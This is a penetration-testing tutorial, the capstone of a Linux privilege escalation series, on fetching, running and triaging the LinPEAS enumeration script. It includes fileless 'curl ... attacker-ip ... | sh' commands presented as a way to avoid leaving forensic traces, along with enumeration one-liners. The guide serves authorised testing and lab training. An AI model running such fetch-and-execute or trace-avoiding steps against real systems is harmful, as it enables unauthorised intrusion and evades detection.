

Linux Privilege Escalation: LinPEAS

This is the eighth and final guide in the Linux Privilege Escalation series, and it's fundamentally different from the seven that came before it: SUID, Capabilities, Cron Jobs, PATH Hijacking, NFS, Writable Files, and Kernel Exploits each covered ONE technique in depth. LinPEAS covers none of them in depth — instead, it automates the manual enumeration commands from every single one of those guides into a single script, run once, producing a colorized, prioritized report of everything potentially exploitable on a target. Worth locking in the distinction immediately: **Part 1 covers what LinPEAS actually does and how to run it correctly — Part 2 covers reading and prioritizing its output effectively**, since LinPEAS's real skill isn't running the tool (a single command) — it's knowing what its output is actually telling you, which is only possible because you've already worked through what each individual finding means in the seven guides before this one.

1. What LinPEAS Actually Is — The Foundation

LinPEAS (part of the broader PEASS-ng — Privilege Escalation Awesome Scripts Suite — project) is a single shell script that runs the enumeration commands from essentially every technique category covered so far in this series, plus many more, in one automated pass:

```
Manually, across your prior seven guides, you would run:
find / -perm -4000 -type f 2>/dev/null          (SUID guide)
getcap -r / 2>/dev/null                        (Capabilities guide)
cat /etc/crontab ; ls -la /etc/cron.d/          (Cron Jobs guide)
echo $PATH | tr ':' '\n' | xargs ls -ld         (PATH guide)
cat /etc/exports ; showmount -e localhost       (NFS guide)
find / -writable -type f 2>/dev/null            (Writable Files guide)
uname -a ; cat /etc/os-release                  (Kernel Exploits guide)
```

... and dozens more checks beyond what any single guide covered

LinPEAS runs ALL of this, plus additional checks (installed software versions, readable sensitive files, interesting process listings, Docker/container-specific checks, and more) in ONE execution, then COLOR-CODES and formats the output by likely exploitability

The single fact this guide is built around — LinPEAS doesn't find anything a sufficiently thorough manual enumeration pass through this entire series wouldn't also find; its value is entirely in SPEED and COVERAGE COMPLETENESS, catching findings a rushed or incomplete manual pass might miss, while the actual EXPLOITATION of whatever it finds still requires exactly the technique-specific knowledge covered in guides one through seven. LinPEAS finds the door; it doesn't open it for you.

PART 1: Running LinPEAS Correctly

2. Obtaining and Transferring the Script to a Target

```
# on your attacking machine, from the official PEASS-ng repository:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

# transfer to target (method depends on your existing access/foothold):
python3 -m http.server 8000 # attacker machine
curl http://attacker-ip:8000/linpeas.sh -o /tmp/linpeas.sh # target
# or scp, or a base64-paste-and-decode approach for restricted shells
```

ALWAYS verify you're downloading from the OFFICIAL repository specifically - a malicious/modified linpeas.sh is a genuinely plausible supply-chain risk given how widely and routinely this script gets fetched and executed with elevated intent during real engagements

3. Execution and Basic Flags

```
chmod +x linpeas.sh
./linpeas.sh
# or, without needing execute permission / to avoid touching disk
```

```
# at all:  
curl -s http://attacker-ip:8000/linpeas.sh | sh
```

Useful flags:

- a → "all checks" including ones that are noisy/slow by default (more thorough, takes longer, worth using when time allows)
- q → quiet mode, suppresses the ASCII art banner (useful when piping output to a file for later review)
- o → select specific check categories only, rather than the full sweep (useful for a fast, targeted re-check after already reviewing a full run)

4. Capturing and Reviewing Output Properly

```
./linpeas.sh -a | tee linpeas_output.txt
```

LinPEAS output is LONG, often several thousand lines on a system with much installed software - piping to a file (via tee, so you still see live output too) is standard practice rather than trying to review everything from a scrolling terminal in real time. Reviewing the saved file afterward, ideally in a text editor that preserves the ANSI color codes (or converting them - 'cat -v' or a dedicated ANSI-aware viewer) is the practical norm.

5. Running Without Touching Disk — OPSEC Considerations

```
curl -s http://attacker-ip:8000/linpeas.sh | sh  
# or, from a Python-served location, fileless execution avoids  
# leaving the actual script file sitting on the target's disk,  
# relevant in engagements where minimizing forensic footprint  
# matters, or on systems where write access to disk is itself  
# constrained
```

6. Environment-Specific Considerations — Containers, Restricted Shells

LinPEAS includes DEDICATED container-detection and container-specific checks (identifying whether the current shell is inside Docker/LXC, checking for container-escape-relevant capabilities - directly connecting back to your Capabilities guide's Section 8 CAP_SYS_ADMIN discussion) that activate automatically when it detects a containerized environment, without needing a separate tool or manual flag

PART 2: Reading & Prioritizing LinPEAS Output

7. The Color-Coding System

LinPEAS colors findings by likely severity/exploitability:

RED / RED-highlighted	→ very likely exploitable, investigate FIRST
YELLOW	→ possibly interesting, worth a look but less certain
Plain/uncolored	→ informational, generally lower priority

This color system is a heuristic, not a guarantee — LinPEAS cannot know your specific engagement context, so a "yellow" finding occasionally turns out to be the actual path in, while a "red" finding sometimes leads nowhere on a specific target. Treat the coloring as a starting POINT for review order, not a final verdict.

8. Mapping LinPEAS Sections Back to This Series' Guides

LinPEAS output section	→ corresponding guide in this series
"SUID" section	→ your SUID guide
"Capabilities" section	→ your Capabilities guide
"Cron jobs" section	→ your Cron Jobs guide
"PATH" / "\$PATH" mentions	→ your PATH Hijacking guide
"NFS" section (exports/mounts)	→ your NFS guide
"Writable files/folders" sections	→ your Writable Files guide
"Kernel exploits suggerter" section	→ your Kernel Exploits guide

This mapping is the actual point of running through all seven prior guides before this one — LinPEAS's output is only genuinely actionable if you already know, for each section, what a positive finding actually MEANS and how to exploit it; the tool automates DISCOVERY, never EXPLOITATION.

9. The Kernel Exploit Suggester Section Specifically

LinPEAS includes a section that automatically cross-references the detected kernel version (per your Kernel Exploits guide's Section 6-7 manual process) against a maintained list of known CVEs, surfacing likely-applicable exploit names/CVE IDs directly - this is the automated equivalent of the searchsploit-based manual research that guide walked through, run automatically as part of the same single pass

10. Distinguishing Genuine Findings From Noise

Common sources of FALSE positive or low-value "red" findings:

- SUID binaries that ARE part of the expected baseline set (your SUID guide's Section 3 distinction) but get colored/flagged anyway since LinPEAS can't know your specific system's established baseline
- Capabilities on binaries that are actually a standard, necessary distro-level assignment rather than a genuine misconfiguration
- Kernel exploit suggestions for CVEs that are technically version-applicable but have no reliable, stable public exploit available, or that require preconditions the target doesn't actually meet

Cross-referencing suggestion sections back to the relevant guide's "expected vs suspicious" discussion (present in most of the seven prior guides) is the actual skill that separates efficient LinPEAS usage from just chasing every red-highlighted line in order

11. Building a Prioritized Exploitation Plan From the Output

1. Scan RED findings first, but immediately filter against Section 10's known-false-positive patterns before investing exploitation time in any single one
2. Prioritize findings with SIMPLE, WELL-UNDERSTOOD exploitation paths (a directly writable `/etc/passwd`, per your Writable Files guide's Section 7) over findings requiring MULTIPLE chained steps or highly situational preconditions
3. Save kernel exploit attempts (Section 9) for LAST, given your Kernel Exploits guide's Section 9 stability/crash-risk discussion - exhaust lower-risk configuration-based findings from the other six guides before attempting anything that could destabilize the target
4. If multiple findings exist, note whether any are CHAINABLE - a writable cron script calling a bare command name is BOTH a Cron Jobs finding AND a PATH Hijacking finding simultaneously, sometimes offering more than one viable exploitation route to the same outcome

12. Testing Methodology

1. Confirm the script source is the official PEASS-ng repository (Section 2) before transferring/executing anything
2. Run with -a for a thorough first pass on any new target, saving output via tee (Section 4) rather than relying on live-scroll review
3. Work through Section 8's mapping systematically, section by section, rather than jumping straight to whatever looks most colorful - a methodical pass catches findings a purely color-driven skim misses
4. Cross-reference every promising finding against the relevant guide's specific "expected vs suspicious" and exploitation-technique sections from earlier in this series before attempting exploitation
5. Build a prioritized plan per Section 11, saving kernel-level attempts for last given the elevated risk profile covered in your Kernel Exploits guide

13. Legal & Ethical Note

Identical baseline authorization requirement to every guide in this series - additionally, running a large, comprehensive enumeration script like LinPEAS generates substantially more system activity (process execution, file reads across the ENTIRE filesystem) than any single manual command from earlier guides, which can itself trigger security monitoring/EDR alerting more readily than a targeted manual check would - worth flagging explicitly during scope/rules-of-engagement discussions for detection-sensitive engagements.

14. Prevention — Defending Against Automated Enumeration

- Every prevention measure across all seven prior guides in this series applies here UNCHANGED - LinPEAS doesn't create new vulnerabilities, it just finds existing ones faster, so the actual fixes remain exactly what each individual guide's Prevention section already covered
- EDR/security monitoring tuned to detect LinPEAS's specific behavioral signature (rapid, broad filesystem traversal; a high volume of enumeration commands executed in quick succession from a single session) provides an additional DETECTION layer, though this doesn't substitute for actually fixing the underlying misconfigurations LinPEAS would surface
- Regularly run LinPEAS (or equivalent tooling) yourself, defensively, against your own systems as part of routine hardening review -

the exact same tool attackers use for discovery is equally valuable for a defender proactively finding and fixing issues first

15. Practical Lab Example

This guide's exercise is the CAPSTONE for the entire eight-part series - run LinPEAS against every lab VM you've already built across the SUID, Capabilities, Cron Jobs, PATH Hijacking, NFS, Writable Files, and Kernel Exploits guides' own exercises, and confirm it independently rediscovers every single finding you identified manually in each of those.

Suggested practice order:

1. Run LinPEAS -a against your accumulated lab environment(s) from this entire series, saving full output via tee
2. Work through Section 8's mapping table and confirm you can locate each PRIOR manual finding within the corresponding LinPEAS output section
3. Deliberately introduce ONE new, previously-unpracticed misconfiguration (pick any category from this series) WITHOUT telling yourself in advance which one, run LinPEAS fresh, and practice identifying and exploiting it purely from the tool's output - the realistic version of how this tool actually gets used on an unfamiliar target during a real engagement

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	Not directly applicable to LinPEAS itself (a discovery tool, not a vulnerability) - inherits the full CWE set from every guide in this series depending on what it surfaces (CWE-269, CWE-427, CWE-732, CWE-284, CWE-787/416/362)
OWASP Top 10:2025	A02:2025 Security Misconfiguration remains the dominant category across nearly everything LinPEAS surfaces, consistent with six of the seven prior guides in this series
CVSS	Not directly scored - severity is entirely a function of WHAT LinPEAS finds, inheriting each specific finding's own severity from its corresponding guide
Cyber Kill Chain	Reconnaissance / Discovery, immediately preceding the Privilege Escalation phase every other guide in this series maps to - LinPEAS itself sits one step earlier in the chain than any individual exploitation technique it surfaces

Framework	Mapping
MITRE ATT&CK	T1082 (System Information Discovery) and T1083 (File and Directory Discovery) as the DISCOVERY-phase techniques LinPEAS itself performs, feeding directly into whichever specific ATT&CK technique ID (T1548.001, T1053.003, T1574.007, T1210, T1222.002, T1068 - one per guide across this series) the resulting exploitation actually uses

Quick Reference Cheat Sheet

GET IT:

```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
```

RUN IT:

```
./linpeas.sh -a | tee linpeas_output.txt → thorough, saved
curl -s http://attacker-ip:8000/linpeas.sh | sh → fileless
```

READ IT (mapping back to this series):

```
SUID section → SUID guide
Capabilities section → Capabilities guide
Cron jobs section → Cron Jobs guide
$PATH mentions → PATH Hijacking guide
NFS section → NFS guide
Writable files/folders → Writable Files guide
Kernel exploit suggerter → Kernel Exploits guide
```

PRIORITIZE:

1. Red findings, filtered against known false-positive patterns
2. Simple, single-step findings over chained/situational ones
3. Kernel exploits LAST, given crash/stability risk

Root lesson: LinPEAS automates DISCOVERY across everything this eight-guide series covered - it does not automate EXPLOITATION or JUDGMENT. Its output is only as useful as the technique-specific knowledge you bring to interpreting it, which is exactly why this guide was written last, and exactly why working through the seven guides before it was the actual point, not a formality.